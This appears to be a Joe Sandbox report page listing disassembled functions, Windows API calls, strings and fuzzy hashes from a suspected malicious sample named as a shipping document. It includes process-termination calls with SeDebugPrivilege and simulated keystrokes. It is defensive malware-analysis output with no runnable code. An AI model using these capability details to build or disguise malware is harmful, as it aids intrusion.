Function 00E78D5B Relevance: 13.9, APIs: 9, Instructions: 438COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,00E8F910), ref: 00E78E3D
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,00E8F910), ref: 00E78E71
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00E78FEB
SysFreeString.OLEAUT32(?), ref: 00E79015

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Free$FileLibraryModuleNamePathQueryStringType
String ID:
API String ID: 560350794-0
Opcode ID: dac75b84e0996426df9965f2b5da2e7a85bc33d1f340127147090bd302cb0748
Instruction ID: 0c04389887f4713b62eb6c9cd625018309b6bce91eb0386a4188adff0bf94053
Opcode Fuzzy Hash: dac75b84e0996426df9965f2b5da2e7a85bc33d1f340127147090bd302cb0748
Instruction Fuzzy Hash: E8F13A71A00109EFCB04DFA4C988EAEB7B9FF49315F109499F919BB251DB31AE45CB50

Function 00E7F7A8 Relevance: 13.9, APIs: 9, Instructions: 386processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E7F7C9
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00E7F95C
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00E7F980
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00E7F9C0
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00E7F9E2
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00E7FB5E
GetLastError.KERNEL32(00000000,00000001,00000000), ref: 00E7FB90
CloseHandle.KERNEL32(?), ref: 00E7FBBF
CloseHandle.KERNEL32(?), ref: 00E7FC36

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
String ID:
API String ID: 4090791747-0
Opcode ID: c2682a958c99381dfff741e8b0077c09be8e9f8d4b1a80a88f94dbc571efa40b
Instruction ID: 5a4f80d82bf07770fff346d74593b5a2ef0f9d4c7d78e78df9163d5eaf77cf14
Opcode Fuzzy Hash: c2682a958c99381dfff741e8b0077c09be8e9f8d4b1a80a88f94dbc571efa40b
Instruction Fuzzy Hash: CDE1C331604301DFDB14EF24D891B6ABBE0AF88354F14996DF899AB2A2CB30DC44CB52

Function 00E64D68 Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00E646AF: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00E636DB,?), ref: 00E646CC

Part of subcall function 00E646AF: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00E636DB,?), ref: 00E646E5

Part of subcall function 00E64AD8: GetFileAttributesW.KERNEL32(?,00E6374F), ref: 00E64AD9

lstrcmpiW.KERNEL32(?,?), ref: 00E64DE7
_wcscmp.LIBCMT ref: 00E64E01
MoveFileW.KERNEL32(?,?), ref: 00E64E1C

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
String ID:
API String ID: 793581249-0
Opcode ID: d7c05a151ab9874e2bcb81eb09014fe6f15d582c85fb38230f1326e446334235
Instruction ID: 06a67b40273ac2c1c0189697e42ae994b3979ba26e2afb9e57da386d121a3c4e
Opcode Fuzzy Hash: d7c05a151ab9874e2bcb81eb09014fe6f15d582c85fb38230f1326e446334235
Instruction Fuzzy Hash: F85157F25483859BC724DB90E8819DFB7ECEF84344F00292EF589E3191EF35A6888756

Function 00E88677 Relevance: 13.7, APIs: 9, Instructions: 168COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00E88731

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: 9aec692591f7632b86362a1b57356650d2c587c2124c7d60823c06339f73c9f1
Instruction ID: a5dca04ea5ea47f4490545dcac2cb2f735bf18b4334e395f48c12e7b3399a1ba
Opcode Fuzzy Hash: 9aec692591f7632b86362a1b57356650d2c587c2124c7d60823c06339f73c9f1
Instruction Fuzzy Hash: CE51B170500204FEEB24BB69CE89B993BA4AB05314FE06526FE5DF61E0DF71AD80DB51

Function 00E02B72 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 00E3C477
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00E3C499
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00E3C4B1
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 00E3C4CF
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00E3C4F0
DestroyIcon.USER32(00000000), ref: 00E3C4FF
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00E3C51C
DestroyIcon.USER32(?), ref: 00E3C52B

Part of subcall function 00E8A4E1: DeleteObject.GDI32(00000000), ref: 00E8A51A

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
String ID:
API String ID: 2819616528-0
Opcode ID: 444224c0356ca445311caccc5ca57b29b42f1454d359d6bb919c52477bd23720
Instruction ID: 6c1bc566da2f0ae1c0b27f148c863827ac004beb725e2ba5b4be0961ba06f538
Opcode Fuzzy Hash: 444224c0356ca445311caccc5ca57b29b42f1454d359d6bb919c52477bd23720
Instruction Fuzzy Hash: 83518770600209AFDB24DF25DC89FAA7BE5EB58314F201129FA16B72E0D771ED91DB50

Function 00E59930 Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E5AC37: GetWindowThreadProcessId.USER32(?,00000000), ref: 00E5AC57
Part of subcall function 00E5AC37: GetCurrentThreadId.KERNEL32 ref: 00E5AC5E
Part of subcall function 00E5AC37: AttachThreadInput.USER32(00000000,?,00E59945,?,00000001), ref: 00E5AC65

MapVirtualKeyW.USER32(00000025,00000000), ref: 00E59950
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00E5996D
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 00E59970
MapVirtualKeyW.USER32(00000025,00000000), ref: 00E59979
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 00E59997
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00E5999A
MapVirtualKeyW.USER32(00000025,00000000), ref: 00E599A3
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00E599BA
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 00E599BD

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: da23fe003613e663a1aaf69a240c220d5ea95c480d7fc587920dfc0d60add8af
Instruction ID: 109e95de4d8bf8f651f8a41fc7862203334cc336fb6b057f259de9983b653c9e
Opcode Fuzzy Hash: da23fe003613e663a1aaf69a240c220d5ea95c480d7fc587920dfc0d60add8af
Instruction Fuzzy Hash: FD11E171A50218BFF7106B61CC89FAA7B6DEB4C751F100529F648BB0A1CAF25C14DBA4

Function 00E58BE3 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,00E58864,00000B00,?,?), ref: 00E58BEC
HeapAlloc.KERNEL32(00000000,?,00E58864,00000B00,?,?), ref: 00E58BF3
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00E58864,00000B00,?,?), ref: 00E58C08
GetCurrentProcess.KERNEL32(?,00000000,?,00E58864,00000B00,?,?), ref: 00E58C10
DuplicateHandle.KERNEL32(00000000,?,00E58864,00000B00,?,?), ref: 00E58C13
GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00E58864,00000B00,?,?), ref: 00E58C23
GetCurrentProcess.KERNEL32(00E58864,00000000,?,00E58864,00000B00,?,?), ref: 00E58C2B
DuplicateHandle.KERNEL32(00000000,?,00E58864,00000B00,?,?), ref: 00E58C2E
CreateThread.KERNEL32(00000000,00000000,00E58C54,00000000,00000000,00000000), ref: 00E58C48

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
String ID:
API String ID: 1957940570-0
Opcode ID: 6b1574e1e2af863b496513cb71a4d76d09bd4d065b15cfb62cf5fa36e1b0a178
Instruction ID: 5baa2cdb305eea9a97fdf996d2dc85337b2afa55fc6375e60df9b6effa4d046f
Opcode Fuzzy Hash: 6b1574e1e2af863b496513cb71a4d76d09bd4d065b15cfb62cf5fa36e1b0a178
Instruction Fuzzy Hash: 9C01BFB5641344FFE710ABA5DC8DF577B6CEB89711F004421FA09EB1A2CA74D814CB20

Function 00E79872 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

Part of subcall function 00E57432: CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00E5736C,80070057,?,?,?,00E5777D), ref: 00E5744F
Part of subcall function 00E57432: ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00E5736C,80070057,?,?), ref: 00E5746A
Part of subcall function 00E57432: lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00E5736C,80070057,?,?), ref: 00E57478
Part of subcall function 00E57432: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00E5736C,80070057,?), ref: 00E57488

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 00E7991B
_memset.LIBCMT ref: 00E79928
_memset.LIBCMT ref: 00E79A6B
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000000), ref: 00E79A97
CoTaskMemFree.OLE32(?), ref: 00E79AA2

Strings

NULL Pointer assignment, xrefs: 00E79AF0

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
String ID: NULL Pointer assignment
API String ID: 1300414916-2785691316
Opcode ID: 9024df0a5b980ef718d065fceed03ae8c95ff5156bcf6096b67e0b8839b18d80
Instruction ID: 65c6f65eff48e70d891bcffcb32a675cd208674ab6e57a847d48ba7e83c4acfe
Opcode Fuzzy Hash: 9024df0a5b980ef718d065fceed03ae8c95ff5156bcf6096b67e0b8839b18d80
Instruction Fuzzy Hash: 45912871D00229ABDF10DFA5DC81ADEBBB9EF08710F10915AF519B7281DB70AA44CFA0

Function 00E86DB2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00E86E56
SendMessageW.USER32(?,00001036,00000000,?), ref: 00E86E6A
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00E86E84
_wcscat.LIBCMT ref: 00E86EDF
SendMessageW.USER32(?,00001057,00000000,?), ref: 00E86EF6
SendMessageW.USER32(?,00001061,?,0000000F), ref: 00E86F24

Strings

SysListView32, xrefs: 00E86E28

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: MessageSend$Window_wcscat
String ID: SysListView32
API String ID: 307300125-78025650
Opcode ID: 059fc30863df2e3bbda1b15f88323f97ac492798753961e58712a46ca045db6d
Instruction ID: 0d65461cae104f7cf2fe727d31d59814b3a818e3d947c32c56cea62f05e16eba
Opcode Fuzzy Hash: 059fc30863df2e3bbda1b15f88323f97ac492798753961e58712a46ca045db6d
Instruction Fuzzy Hash: B4418F71A00308AFEB21AF64CC85BEAB7E8EF08354F10156AF64DB7191D6729D848B60

Function 00E7EA47 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00E63C99: CreateToolhelp32Snapshot.KERNEL32 ref: 00E63CBE
Part of subcall function 00E63C99: Process32FirstW.KERNEL32(00000000,?), ref: 00E63CCC
Part of subcall function 00E63C99: CloseHandle.KERNEL32(00000000), ref: 00E63D96

OpenProcess.KERNEL32(00000001,00000000,?), ref: 00E7EAB8
GetLastError.KERNEL32 ref: 00E7EACB
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00E7EAFA
TerminateProcess.KERNEL32(00000000,00000000), ref: 00E7EB77
GetLastError.KERNEL32(00000000), ref: 00E7EB82
CloseHandle.KERNEL32(00000000), ref: 00E7EBB7

Strings

SeDebugPrivilege, xrefs: 00E7EAD6

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
String ID: SeDebugPrivilege
API String ID: 2533919879-2896544425
Opcode ID: 87a2ca59cc44fa6d954a3ff6a38fa58360c3b87a16f2d0f2f74921b2d8d00169
Instruction ID: f9eed59e187a53a6b4138bafebae5676df48cdca3ca0368ad2fb017312ce3128
Opcode Fuzzy Hash: 87a2ca59cc44fa6d954a3ff6a38fa58360c3b87a16f2d0f2f74921b2d8d00169
Instruction Fuzzy Hash: B5419D312002019FDB24EF64CC95FADBBE5AF54314F089459F94AAB3D3CB75A848CB95

Function 00E6302E Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000000,00007F03), ref: 00E630CD

Strings

blank, xrefs: 00E6304F
info, xrefs: 00E6306E
warning, xrefs: 00E630B6
question, xrefs: 00E63086
stop, xrefs: 00E6309E

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2457776203-404129466
Opcode ID: 79319021deb5ac86659693b77102124185e7c2d26f8588bfcca78cab598a4308
Instruction ID: 44bf1762d952bcadf6b63d86bd10c2202e7098c7918a152f06669107b4f7d935
Opcode Fuzzy Hash: 79319021deb5ac86659693b77102124185e7c2d26f8588bfcca78cab598a4308
Instruction Fuzzy Hash: 2A110835688356BAE7305A74FC42CEB679C9F053A4F20202AF900B62C1DAB55F0486A0

Function 00E64339 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00E64353
LoadStringW.USER32(00000000), ref: 00E6435A
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00E64370
LoadStringW.USER32(00000000), ref: 00E64377
_wprintf.LIBCMT ref: 00E6439D
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00E643BB

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00E64398

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s
API String ID: 3648134473-3128320259
Opcode ID: 26ca64d4e101500e996b7eedefe281eff962ed5cf0796f5f2a1228b3d37b55dd
Instruction ID: 63e0f85504ecb72be3fc81e464234a385a12e30fd60ac74a874fef1ccda46412
Opcode Fuzzy Hash: 26ca64d4e101500e996b7eedefe281eff962ed5cf0796f5f2a1228b3d37b55dd
Instruction Fuzzy Hash: 5A0162F2940208BFE711ABA1DD89EE7776CEB08301F0005A5F709F2151EA749E898BB0

Function 00E8D4A8 Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E02612: GetWindowLongW.USER32(?,000000EB), ref: 00E02623

GetSystemMetrics.USER32(0000000F), ref: 00E8D4E6
GetSystemMetrics.USER32(0000000F), ref: 00E8D506
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 00E8D741
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 00E8D75F
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 00E8D780
ShowWindow.USER32(00000003,00000000), ref: 00E8D79F
InvalidateRect.USER32(?,00000000,00000001), ref: 00E8D7C4
DefDlgProcW.USER32(?,00000005,?,?), ref: 00E8D7E7

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: 9c78382b0dc236520007a43add7f77e9afc3bdde62e5e881e187bd86788f0ed0
Instruction ID: 7abf6b21a25ae5b2b519aaafcf5e491257e70f0bbfea3a5185b6764dbcea8c17
Opcode Fuzzy Hash: 9c78382b0dc236520007a43add7f77e9afc3bdde62e5e881e187bd86788f0ed0
Instruction Fuzzy Hash: 17B1BC31604219EFDF18DF29C9C5BAD7BB1FF04715F08906AEC4CAA295E731A990DB90

Function 00E02A5B Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,00E3C347,00000004,00000000,00000000,00000000), ref: 00E02ACF
ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,00E3C347,00000004,00000000,00000000,00000000,000000FF), ref: 00E02B17
ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,00E3C347,00000004,00000000,00000000,00000000), ref: 00E3C39A
ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,00E3C347,00000004,00000000,00000000,00000000), ref: 00E3C406

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711438020.0000000000EC7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e00000_SHIPPING DOC MBL+HBL.jbxd

Similarity

API ID: ShowWindow
String ID:
API String ID: 1268545403-0
Opcode ID: 3d815fb6bb9d745eb0aec6a558b4af2e4009c5179c1a24f13a1ef91618e9799c
Instruction ID: 7a4204f0384c3316b1ecdb8a30ee2c822629bfebef6aca5c7b80e9cbb4545482
Opcode Fuzzy Hash: 3d815fb6bb9d745eb0aec6a558b4af2e4009c5179c1a24f13a1ef91618e9799c
Instruction Fuzzy Hash: 4341FB313046809EDB358B298C8CBAB7BF1AB55308F24E45DE247B65E0CA75E8C5D711

Function 00E6716F Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 00E67186

Part of subcall function 00E20F36: std::exception::exception.LIBCMT ref: 00E20F6C
Part of subcall function 00E20F36: __CxxThrowException@8.LIBCMT ref: 00E20F81

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 00E671BD
EnterCriticalSection.KERNEL32(?), ref: 00E671D9
_memmove.LIBCMT ref: 00E67227
_memmove.LIBCMT ref: 00E67244
LeaveCriticalSection.KERNEL32(?), ref: 00E67253
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 00E67268
InterlockedExchange.KERNEL32(?,000001F6), ref: 00E67287

Memory Dump Source

Source File: 00000000.00000002.1711343538.0000000000E01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000000.00000002.1711330995.0000000000E00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000E8F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711384777.0000000000EB4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711420946.0000000000EBE000.00000004.00000001.01000000.00000003.sdmpDownload File
